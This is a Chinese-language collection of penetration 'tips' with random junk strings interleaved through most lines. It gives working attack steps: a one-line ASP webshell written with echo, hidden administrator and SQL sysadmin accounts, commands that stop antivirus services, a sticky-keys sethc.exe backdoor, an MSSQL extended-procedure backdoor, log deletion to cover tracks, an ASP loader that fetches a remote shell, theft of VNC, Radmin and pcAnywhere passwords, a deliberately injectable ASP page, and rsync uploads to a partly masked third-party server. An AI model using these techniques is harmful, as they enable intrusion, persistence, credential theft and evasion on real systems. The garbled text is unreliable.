渗透技巧总结

admin

旁站路径问题
2 L1 x! {7 E8 e1、读网站配置。
2、用以下VBS
: w; G  g  a) }% q  ^On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
$ H8 q1 i# f) k, p$ _# h% j. L
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
6 c& ?/ F* E& ~' O" f
Usage:Cscript vWeb.vbs",4096,"Lilo"
% C% N: v* b3 E3 M5 b        WScript.Quit
" m; [0 W& l. A9 F5 b3 F8 C) [6 WEnd If
Set ObjService=GetObject
( B5 w' y5 v5 z# Y% [
: ]4 l/ `7 f- i: h* ^( f, @3 C/ m5 N("IIS://LocalHost/W3SVC")
5 O0 C0 |5 K5 J6 SFor Each obj3w In objservice
7 y/ M; j. a6 `- i" J0 ?- a3 `        If IsNumeric(obj3w.Name)
( U! E: |2 B% Z4 i  _, a4 o
. X' \0 z2 ]4 N: \7 u' aThen
: h! {4 V" G2 u7 H1 x( N- P                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         
: i8 m' g+ ]. g9 I+ b
- C$ y6 h$ ]9 I       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err
2 |/ q7 a' r* z; S
<> 0 Then WScript.Quit (1)
" o" @% s) t+ W, h  N                WScript.Echo Chr(10) & "[" &

4 Y  r2 g2 e/ ~' F7 lOService.ServerComment & "]"
& l4 [* Z1 u1 ~$ |- k$ k                For Each Binds In OService.ServerBindings
* C4 ?- U3 f9 |% @     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
/ _- m0 o' @/ l. b
4 z& \+ D* [& N' p8 EWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
1 G- H* G* ?. b' ]; Q3 l                Next
" A) J; Y+ }: @! O      

         WScript.Echo "ath            : " & VDirObj.Path
        End If
Next
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
7 f$ l: W4 A7 H( U4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
0 ]7 O+ l/ g% IWordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
# T- @& u0 ^9 K2 P9 k——————————————————————
phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
& k2 h, N& H4 m) I% qphpMyAdmin/darkblue_orange/layout.inc.php
. V3 c# n1 z4 G% wphpMyAdmin/index.php?lang[]=1
/ X+ S. }0 Z5 A  l* e0 b9 j$ fphpmyadmin/themes/darkblue_orange/layout.inc.php
7 R) \  k) M/ \' C# T! \————————————————————
网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
( i" `0 Y" n1 }/ Y: x9 t- D; s% @————————————————————
CMD下操作VPN相关
# k2 B" N1 K! n7 G6 Unetsh ras set user administrator permit #允许administrator拨入该VPN
% t8 j* }1 G' C& X- X% Mnetsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
8 C' b! {% I& O* p: C9 l& Wnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
( Y! s1 y* v6 Y9 y+ r; X命令行下添加SQL用户的方法
$ h6 D: B9 }3 t需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
% w- K) D; S! N5 d; DEXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

+ }3 r% m3 }( A  M. r: h5 ^& o另类的加用户方法
$ O, w4 ~6 _& B  u7 |; E在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
2 A7 q' N# F: |* sjs:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;

vbs:
  {3 @) q# x, u9 ^; C6 sSet   o=CreateObject( "Shell.Users" )
" x' `# h2 }+ R( NSet z=o.create("test")
4 H' P% n7 z: K5 lz.changePassword "123456",""
z.setting("AccountType")=3
8 u, f8 m, ?$ D! r——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
' T: Q, T& v- g2 M( f3389相关
2 p! W$ Y' r% S" ?8 fa、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
+ ~0 e9 }) I1 @. g8 K2 \; hb、内网环境（LCX）
+ i$ h/ v1 h1 w7 j* {- X. Ic、终端服务器超出了最大允许连接
XP 运行mstsc /admin
2003 运行mstsc /console   
* C& F3 m' g. U* f: `- @1 _: C- n8 Y
杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
/ g5 p8 m) J+ t. Wnet stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
  i8 Z* h6 Q% O' I2 enet stop "Symantec Event Manager" /y
) p# u, G2 p6 ]) i9 @* n8 anet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
9 F# p# y( s0 J2 m4 a
卖咖啡：net stop "McAfee McShield"
! u) R1 a7 P, z# [9 p————————————————————
, H# t: E6 ^8 D5 ?% H
9 F6 r9 M" J; H' C% [6 q/ Q2 d! P5次SHIFT：
- x9 A8 H; p) p3 ^3 |2 d/ xcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
/ h: A  W0 }& |  T+ _+ \copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
, w6 h" y3 Y  v0 _copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
! ?* x* s, {+ p' ^: O  r& X$ l& k——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
" `6 z7 m5 O6 C' u( S, h* m2、导出注册表SAM下用户的两个键值
3 d( }7 ^7 D3 @1 d5 f2 o3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
$ l3 Z( L* I' S& b4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
. l8 G7 Y' ^/ z4 K/ q0 q% ^6 ~MSSQL扩展后门：
% Q  F* n5 S8 [USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
( R8 j2 o2 e  ^# C, F: XGRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
+ L$ t+ `  O4 v: PC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
1 ]) i- m. p$ w. R0 Q6 Nex011120.log / ex011121.log / ex011124.log三个文件，
  X' U0 `! t2 Q; }9 n7 z直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
1 w; ^; Y/ m, |+ C用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log
  C- e4 w) g/ h, M
MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
2 I3 ~2 I- }* `( n( o5 W/ _/ JMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
. y. I3 d" c' ]  J
Server\90\Tools\Shell\mru.dat
0 t' Q  |5 B) a. `. a—————————————————————————
+ y: v$ Y. S3 l3 Y. V+ _( f3 y防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

% n( f2 u* b$ Z( m% I6 ~+ \5 h<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
+ r' d; b* L4 q0 J3 e  K0 q* J6 Z1 zOn Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
4 h( ]2 I7 S" R. z( u: j; B* ZWith Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
/ z2 E( T( u: ?' B- G4 O.Send
4 {4 c/ ]+ u3 S* V/ g6 WGetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
8 I* G9 W( z* x3 I3 E1 \With Ads
.Type = 1
: g0 L$ b0 M1 d; D  m7 X.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
2 }0 J! S5 S+ A  Q$ h3 V.Cancel()
/ b9 d& A, D8 t9 `" v- O7 |  c, t.Close()
( e8 u3 P5 p' j2 G% g7 ?3 t7 SEnd With
Set Ads=nothing
End Sub
- D; `. ^0 _4 ^/ ~
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

$ i! P% n1 V& N/ z$ I8 `+ D, J& e2 XVNC提权方法:
$ A: B  i  B1 b# J3 M% g利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
$ h* v3 U; U% e: H注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
5 ?. f: r" }3 \5 l, ~$ Zregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
; a* N; }9 I& ]  K. o+ M; t1 }Radmin 默认端口是4899，
4 `' ~8 W( A  a0 {/ ^( ^2 wHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
# d' y1 W' `0 b: \) t$ I! @  L* `然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
9 t: F, F. |) m' ~4 C$ P. p5 rUsers\Application Data\Symantec\pcAnywhere\文件夹下。
5 b% p+ p1 Z2 f8 X——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
) {" p# w. Q  @) ~5 p( h没有删cmd组建的直接加用户。
& ?$ p& @% A! b+ c* f9 t7i24的web目录也是可写，权限为administrator。
4 d5 ~5 J0 A4 l
1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
2 `; r+ T0 j/ FstrSQLDBUserName = "数据库帐号"
! i4 ?* p) T8 s; E2 V- AstrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
( r! g3 W5 L: W$ l/ T0 N. IstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
( j( U+ z- @& }% T: U/ x
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
# B5 u7 p) D  m8 y# _$ X
, n( Y; v( @% sstrSQLDBName & ";"
* p8 M* Q  Q* o+ Aconn.open strCon
7 q' U* ]+ G2 T6 {, b; _( F9 f0 `dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
9 z6 N" i7 p' d9 w7 i; \strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
复制代码
0 W" [* L5 v6 Z8 X- n******liunx 相关******
一.ldap渗透技巧
# r$ b5 c/ d) p2 h* D/ z( Q6 u1.cat /etc/nsswitch
3 j, i( ?4 M% n看看密码登录策略我们可以看到使用了file ldap模式

& N: c8 M" d* L* R) c. o0 h$ _2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
7 J) _5 t; o* }( V找到ou,dc,dc设置
# E) j4 u3 _3 H5 n8 U
1 \* W+ B9 u; o) p# W: B3.查找管理员信息
) ]$ u# T( E( y匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
! t, v0 A: o" k( O' p' j$ X
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
5 N! b! l8 O; _4 m$ b! tldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

& }! s- a! H2 N% |6 C
/ h! k9 c7 x1 l1 \( w4.查找10条用户记录
) X+ c: m) j+ W" E  D& Zldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
! r. s6 Q0 n+ Z# [0 s) C8 R: l
0 U! z, p+ z6 ^# Z6 r  A实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
6 ?  l3 b3 v0 u9 u& h1 a
- G: }  d; t7 L5 N2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
1 N" i+ U* ^. `* n: h  A; U
, o2 L6 O( p9 w0 O% U9 C3.查找管理员信息
匿名方式
# F0 L# `. `3 Y  I: K4 A4 R. ~  ]+ z" Vldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

) X8 e$ f9 W, C0 h' W5 [' o8 u"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
# c( v) p) J3 K; `$ z0 Aldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
6 v& r9 {( z: o  L+ X; s
. r0 c" B, \8 a"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


  s) s8 n( v5 O: U, m- c- Y4.查找10条用户记录
* A4 Z# S2 {' I' G* [8 dldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
# _9 ~2 i8 h- W  p9 W- m$ d
渗透实战:
- Q1 a! }+ p+ k7 V% Y! z0 ^1.返回所有的属性
5 u3 n6 J& ]! _. r0 gldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
6 ~0 a: F8 t! I# {( t8 K8 o( B9 }version: 1
* I+ ]; f1 W4 m; P5 c$ a  qdn: dc=ruc,dc=edu,dc=cn
. `5 R2 K/ O8 J- k0 D# odc: ruc
+ w' Y3 k* y$ n. X9 J9 }. {- ]objectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
5 J0 h; t- B/ N9 `1 \& i& YobjectClass: inetOrgPerson
objectClass: organizationalPerson
( T! ^# {) J/ m, dobjectClass: person
3 Y) Y7 a1 R4 z$ TobjectClass: top
: o& E4 }- Q% Psn: manager
$ a  `( |+ @& U3 v& m8 Qcn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
" K/ O3 f4 J7 E: t2 E; v- HobjectClass: inetOrgPerson
objectClass: organizationalPerson
/ v& }# J1 Q7 H; nobjectClass: person
4 I! |; f. J& {) X0 \% O$ cobjectClass: top
sn: superadmin
cn: superadmin
; \0 b7 t0 x  N/ D. }8 y( N1 P
8 d1 W0 w3 e2 Q6 |dn: uid=admin,dc=ruc,dc=edu,dc=cn
8 I! C$ e& e3 C; @6 N2 G8 auid: admin
2 \5 ^, O  x2 d4 m6 h- U- NobjectClass: inetOrgPerson
objectClass: organizationalPerson
6 ~8 w6 @9 u- I0 PobjectClass: person
) |! N9 t5 m; W& N* L; xobjectClass: top
sn: admin
cn: admin
% L/ q5 s8 ^! h
( B4 d* A( @3 cdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
  n3 X/ t- i8 nobjectClass: top
+ L; D4 ]2 n1 Y* b' u% UobjectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
3 P2 @4 w2 `- [! nsn: dcp_anonymous
1 }8 m) p7 g" [: ]4 I! Z" A3 q. a- Q: Ycn: dcp_anonymous

2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

: G8 Q) [! c4 N* l4 I8 Smore
  \) g" \& ]" X/ |. H/ w0 W9 \version: 1
* [2 R& `3 w) l& V/ Vdn: dc=ruc,dc=edu,dc=cn
! L" \! }- o: U* o6 Vdc: ruc
objectClass: domain

8 |( c9 A0 ?- y) M* h3 G) |7 A3.查找
0 C4 |' ]) W, B1 K: ]bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
objectClass: top
2 h' I6 Q$ z% n0 BnamingContexts: dc=ruc,dc=edu,dc=cn
! p. b8 K: p* hsupportedExtension: 2.16.840.1.113730.3.5.7
7 ?+ v' X' [4 h6 N1 u  P. v8 bsupportedExtension: 2.16.840.1.113730.3.5.8
; _* F# B: [. f$ B' zsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
; _) c% [# W) z* y4 b$ ?- |supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
" O) D* F! K  D* q1 \supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
9 A; Q/ v& A6 m5 d" N# rsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
6 d; B4 f, O1 i1 F9 N3 IsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
- C, n# @/ ^8 _( E6 s3 RsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
: |8 E/ P3 F9 O2 X: E5 GsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
; ]1 D/ u$ [7 x; l$ hsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
% I, L9 T# K/ {1 v% w. x  J' W: F+ y3 ^supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
4 T/ d, S, G5 U9 @8 R. @- G0 C: CsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
; \% q% s/ O" J7 G% Q* usupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
" u/ r* v. L, c$ M% T4 fsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
/ r0 j8 ]" ]& ksupportedControl: 2.16.840.1.113730.3.4.4
: O/ B1 o% H: m8 }supportedControl: 2.16.840.1.113730.3.4.5
0 }+ N8 @6 [4 B. I+ Y6 p( {supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
4 g) r% V$ u1 i* msupportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
. _8 R1 B* m" Y; T' ZsupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
: }* n. z0 r0 y6 A, l9 }: MsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
' C' G5 S5 T" ?8 D) asupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
# ?3 a+ J& c+ w) n. UsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
2 g9 }! [3 L2 `% e+ j- osupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
0 O( G0 n" }* fsupportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
3 h! s3 O% h& i' N/ ]5 LsupportedSASLMechanisms: EXTERNAL
; [" V  Y- L( y' nsupportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
) P& ~6 u- r2 k+ B7 L6 P3 PsupportedLDAPVersion: 3
8 o' @: a5 C7 N* ^$ M2 @) mvendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
0 M1 A2 n7 H3 H3 {0 jsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
" d3 i+ B) H/ o" R8 {- S& {8 K9 `& lsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
: }5 _3 s1 v6 \5 o; n3 u* p+ RsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
( P8 H1 o1 x6 g& j& {1 i+ DsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
1 [: S3 G3 [, d" ysupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
2 n8 Z- m# L$ r% O& k* asupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
" F: b9 |  `7 w, E( msupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
2 E' e4 T6 O+ g! R6 V' ]3 asupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
4 f" S. B: j' _% ]+ T0 t" m! ?; C( WsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
5 M$ D! v( H* E& FsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
( N! A- ]/ J+ VsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
; M7 U7 x# c5 K  N" P3 DsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
( C3 ^2 y$ d9 y2 r$ q! vsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
; y$ y3 A& X) A7 s8 q, N8 BsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
1 _* G5 ?* c3 c5 ksupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
, H: L! {6 Y. d6 I5 FsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
9 O/ d& S3 C3 I1 w1 f8 zsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
; K, j/ V* K( S8 r" Z, s0 G9 \supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
; T* x8 C9 f+ s( qsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
5 k( E1 ~  x6 QsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
1 x: |2 L- @+ I6 d# lsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
$ ?6 A: t  }4 H  C0 y0 G1 Q6 }5 T4 L* fsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
3 @5 |% L* v' f/ X$ F' ]# K( BsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
* s/ D+ R: C% u8 c5 n! ~5 osupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
& I$ n0 d+ `- E0 e5 x, t) ?supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
$ A& o( ^! m9 v. F" TsupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
: a+ N' P4 s" y$ _0 C2 O3 t) ysupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
5 n" I6 k4 v: g! csupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
* u7 ]0 f( S3 M% U3 d) e/ ssupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
! d0 m  V" @: B/ |2. NFS渗透技巧
showmount -e ip
5 ~* v6 Q& Y! |) J4 a* R% \+ ^" Q: A列举IP
1 r% C$ Y# k- ~) g——————
3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
2 w: d2 M$ L' O/ A2 G$ qimg_finance
auto
img_auto
html_cms
4 Y& K, H( B$ C+ |0 cimg_cms
ent_cms
% k: t: C# z: n, J, g) b8 Xent_img
. H4 D, H. Q1 o0 l' Rceshi
res_img
$ ^3 W* e: X8 h% J4 W5 z- [- ]# ?res_img_c2
chip
0 S0 [$ F* L$ H+ ], r0 cchip_c2
ent_icms
# M2 {5 i# \& B" S: t& `games
gamesimg
# H  \/ w4 }7 H- n' Zmedia
; w: t- P* J0 O9 ]9 Rmediaimg
2 w* C" h9 P2 X( c1 @! Bfashion
; z* x' |2 f8 O" G1 [  lres-fashion
6 m! N  \( m% _& G9 l8 Gres-fo
taobao-home
res-taobao-home
4 t7 Z+ x* ?+ E5 Whouse
res-house
  C* N& w. o- {+ f% Ires-home
0 _  @. E# e# F1 b9 Fres-edu
res-ent
% e! a% F- S# }  M. j+ lres-labs
7 w7 S- i) x$ I3 e; f$ \/ ores-news
) n7 n$ z! Z- O/ ?+ d# Q5 {5 gres-phtv
res-media
9 @, F6 K! A+ H2 T  Xhome
edu
# C1 ~1 T" G2 d4 lnews
res-book

看相应的下级目录(注意一定要在目录后面添加上/)


8 m: m! R, W: ?+ [% B5 n: Arsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
/ Q; Q. e/ |! h# _2 f
2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
" x5 _. v: v+ L+ v
3 C: _% G! ~. \3 G; n& H( I, h9 Z7 q3.向上更新rsync文件(成功上传,不会覆盖)
$ t  c  i% S3 k/ w4 I3 F2 qrsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
  r! [. ]' W. o+ L& ghttp://app.finance.xxx.com/warn/nothack.txt
+ J+ `! F5 z, ~3 ~  O2 }- {& `9 v
8 I1 t/ y" i. }0 n四.squid渗透技巧
nc -vv baidu.com 80
% u/ p5 r5 q# v' V- l- m1 [& l! aGET HTTP://www.sina.com / HTTP/1.0
8 V. b+ z5 s: I3 [  iGET HTTP://WWW.sina.com:22 / HTTP/1.0
, F) k# o6 W& R  t; u' N五.SSH端口转发
. ?+ p2 @) k) V, u, i& p" k' ~" Q  jssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
$ c* }7 R: F- k, s8 U  B# U7 [
六.joomla渗透小技巧
确定版本
' n" U- a, H2 X" u8 ?index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

2 G9 n; }9 Y: q' }0 J3 c15&catid=32:languages&Itemid=47
% Z. \; ?. w; }8 K
2 U4 p2 \4 @9 v! g重新设置密码
  x- Z% u6 x, W: Nindex.php?option=com_user&view=reset&layout=confirm
